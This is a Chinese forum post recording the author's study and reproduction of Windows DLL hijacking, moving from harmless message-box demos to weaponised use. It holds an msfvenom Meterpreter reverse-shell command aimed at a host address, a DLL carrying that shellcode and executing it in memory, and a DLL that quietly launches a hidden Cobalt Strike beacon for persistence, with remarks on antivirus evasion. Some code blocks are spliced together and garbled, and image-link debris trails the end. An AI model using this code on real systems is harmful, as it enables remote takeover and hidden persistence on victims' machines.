|
|
楼主 |
发表于 2021-10-24 17:54:57
|
显示全部楼层
# DLL劫持学习及复现
参考dll劫持https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
dll劫持+dll制作（且更深入一些）：
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd
1.process-explorer
```
下载地址：https://docs.microsoft.com/zh-cn ... ds/process-explorer
```
可以
可以用find找运行的dll文件
2.火绒剑
3.Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息
```
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
```
测试：
win+r：regedit打开注册表
knowsdll（windows10自带的注册表地址）：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
c了 写到一半不小心点到弹窗的重启了，之前写的都没了
直接延续下来吧
进阶测试：
1.首先使用VS2019新建一个DLL项目（动态链接库）
```c
// dllmain.cpp : 定义 DLL 应用程序的入口点。``#include "pch.h"` `BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄`` DWORD ul_reason_for_call, // 调用原因`` LPVOID lpReserved // 参数保留`` )``{`` switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式`` {`` case DLL_PROCESS_ATTACH: // DLL被某个程序加载`` case DLL_THREAD_ATTACH: // DLL被某个线程加载`` case DLL_THREAD_DETACH: // DLL被某个线程卸载`` case DLL_PROCESS_DETACH: //DLL被某个程序卸载`` break;`` }`` return TRUE;``}
```
在生成的dllmain.cpp下添加
```
void msg() { MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);}
```
然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件
```c#
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
```
然后编译生成Dll1.dll
再新建一个C++项目,填入如下代码
```c++
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}
```
再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe
注意这里新建的是c++能够编译程序的项目
就是VS的那个空白项
成功弹窗
接下来开始劫持
新建一个dll项目
```c#
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = { 0 };
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代码
{
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if (Load())
{
Hijack_msg = GetAddress("msg");
Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll(将原来的dll名写在转发方法里，然后将生成的dll文件重命名为劫持的dll文件名)。后面生成的dll4改为dll1
```
lstrcpy(tzPath, TEXT("Dll2.dll"));
```
然后在代码这一行添加弹窗或者执行shellcode
```c++
VOID Hijack() //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L" ", 0); #回显框
}
```
然后编译生成
成功执行两个弹窗
一个HIjack 一个successd
0x03 使用dll文件劫持主机
生成shellcode：
```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.193 -b '\xfc\xe8' lport=4444 -f c
```
生成dll：
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
```c++
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = { 0 };
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll2.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
#include "pch.h"
#include "windows.h"
//开始转发，将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x66\x9a\x22\x85\x4f\xee\xee\xb7\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x9a\xd2\xa1\x61\xbf\x06"
"\x22\xb7\x66\x9a\x63\xd4\x0e\xbe\xbc\xe6\x2e\xab\xf0\xd3\x2a"
"\xa6\x65\xe5\x06\xd2\xa9\xd7\x57\xa6\x65\xe5\x46\xd7\x13\x4c"
"\x07\x65\x9c\xe7\x2e\x95\x95\xcf\x05\xa6\xdf\x77\xca\xa6\x43"
"\xf9\x4d\xc2\xce\xf6\xa7\x53\x2f\xc4\x4e\x2f\x0c\x5a\x34\xdb"
"\x73\xcd\xc4\xbc\xce\x3c\x24\xa6\x6a\x84\x9f\x88\x6f\xcf\x7e"
"\x91\x20\x8a\xca\x9c\xee\xb7\x66\x11\xa2\x0d\x4f\xee\xee\xff"
"\xe3\x5a\x56\xe2\x07\xef\x3e\x3c\x2e\x82\x72\xc1\xc4\xae\xce"
"\xfe\x67\x4a\xc1\xd3\x07\x11\x27\xf6\xed\xae\xaa\xc8\x7e\x27"
"\xa6\xb6\xb0\xd2\x13\x45\xe3\xaf\x2f\x7e\x6b\xdb\x23\x44\x77"
"\x0e\x9b\x46\x2a\x99\x6e\xa1\x47\xab\xd7\x66\x13\x42\x7a\xc1"
"\xc4\xae\xca\xfe\x67\x4a\x44\xc4\xc4\xe2\xa6\xf3\xed\xda\x3e"
"\xcc\x4e\x3e\xaf\x3c\x62\x12\x63\xdd\x07\xef\x3e\xf6\x3e\xc4"
"\x7b\xdf\x0e\xb6\xaf\xee\x27\xc0\x6a\x06\xa3\xce\xaf\xe5\x99"
"\x7a\x7a\xc4\x16\xb4\xa6\x3c\x74\x73\x69\x7a\xb0\x11\xb3\xfe"
"\xd8\xed\x51\xb7\x10\xdd\xdc\xb7\x66\xdb\x74\xcc\xc6\x08\xa6"
"\x36\x8a\x3a\x23\x85\x4f\xa7\x67\x52\x2f\x26\x20\x85\x5e\xb2"
"\x42\xa3\x6c\x9c\x63\xd1\x06\x67\x0a\xfb\xef\x6b\x63\x3f\x03"
"\x99\xc8\xb0\x99\x4f\x6e\x0c\xa5\x86\xef\xb6\x66\x9a\x7b\xc4"
"\xf5\xc7\x6e\xdc\x66\x65\xf7\xef\x45\xaf\xb0\xe7\x36\xd7\x13"
"\x4c\x02\xdf\x2e\xff\x99\x5a\x6a\x0c\x8d\xa6\x11\x77\x2e\x13"
"\xe3\xc4\xf5\x04\xe1\x68\x86\x65\xf7\xcd\xc6\x29\x84\xa7\x27"
"\xc2\x6e\x0c\xad\xa6\x67\x4e\x27\x20\xbb\x20\x3b\x8f\x11\x62"
"\xe3\x5a\x56\x8f\x06\x11\x20\xc2\x83\x72\xb1\x85\x4f\xee\xa6"
"\x34\x8a\x8a\x6a\x0c\xad\xa3\xdf\x7e\x0c\x9e\x63\xdd\x07\x67"
"\x17\xf6\xdc\x98\xfb\x4d\x10\x11\x3b\x34\x9e\x9a\x5c\xd0\x07"
"\x6d\x2a\x97\x38\x13\xd4\xef\x0f\xaf\xb7\xdf\x66\x8a\x22\x85"
"\x0e\xb6\xa6\x3e\x94\xd2\x13\x4c\x0e\x54\xb6\x13\x35\x7f\xdd"
"\x50\x07\x67\x2d\xfe\xef\x5d\x6f\xb4\x86\xa7\x67\x47\x2e\x13"
"\xf8\xcd\xc6\x17\xaf\x0d\x64\x43\xea\xda\xb0\x3b\x6d\x4f\x66"
"\xe7\x0a\xdd\x0e\xb9\xb7\xdf\x66\xda\x22\x85\x0e\xb6\x84\xb7"
"\x3c\xdb\x98\x8e\x60\xe1\xde\x48\xb3\xcd\x7b\xc4\xf5\x9b\x80"
"\xfa\x07\x65\xf7\xcc\xb0\x20\x07\x8b\x99\x65\xdd\xcd\x4e\x2d"
"\xa6\x9e\xa0\xd2\xa7\x73\x3a\x5a\xaf\x48\x81\xc2\x48\x85\x16"
"\xa7\x29\x75\x96\x2f\x80\xd3\xb0\x3b\xee\xb7";
size_t size = sizeof(buf);
char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
```
中间那段为shellcode
这种直接生成的dll不免杀，实战中需要做免杀处理。
### dll加载免杀马上线（也是利用转发）
首先给这个文件加一个隐藏属性:
```
attrib +h beacon.exe
```
接着采用DLL去加载这个木马，
代码如下：
```c++
#include "pch.h"
#include "windows.h"
//开始转发，将函数方法转发
//导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("path\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
return TRUE;
}
```
然后后面直接去尝试加载就行了,程序执行完的时候(`DLL_PROCESS_DETACH`),会自动加载我们的cs马。
说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀，但是你的木马文件要做好免杀，这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线，也就是权限持续维持，单单杀启动项对DLL进行权限维持的方式来说是没有用的。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看，没有帐号？立即注册
x
|
%11&9O6BY .G,M 为uuencode+base85
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
)
)
)](
)
)](
)](
)](
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/890/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/668/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/940/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1200/format/webp)
?imageMogr2/auto-orient/strip|imageView2/2/w/1152/format/webp)
)
)
arallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*`
)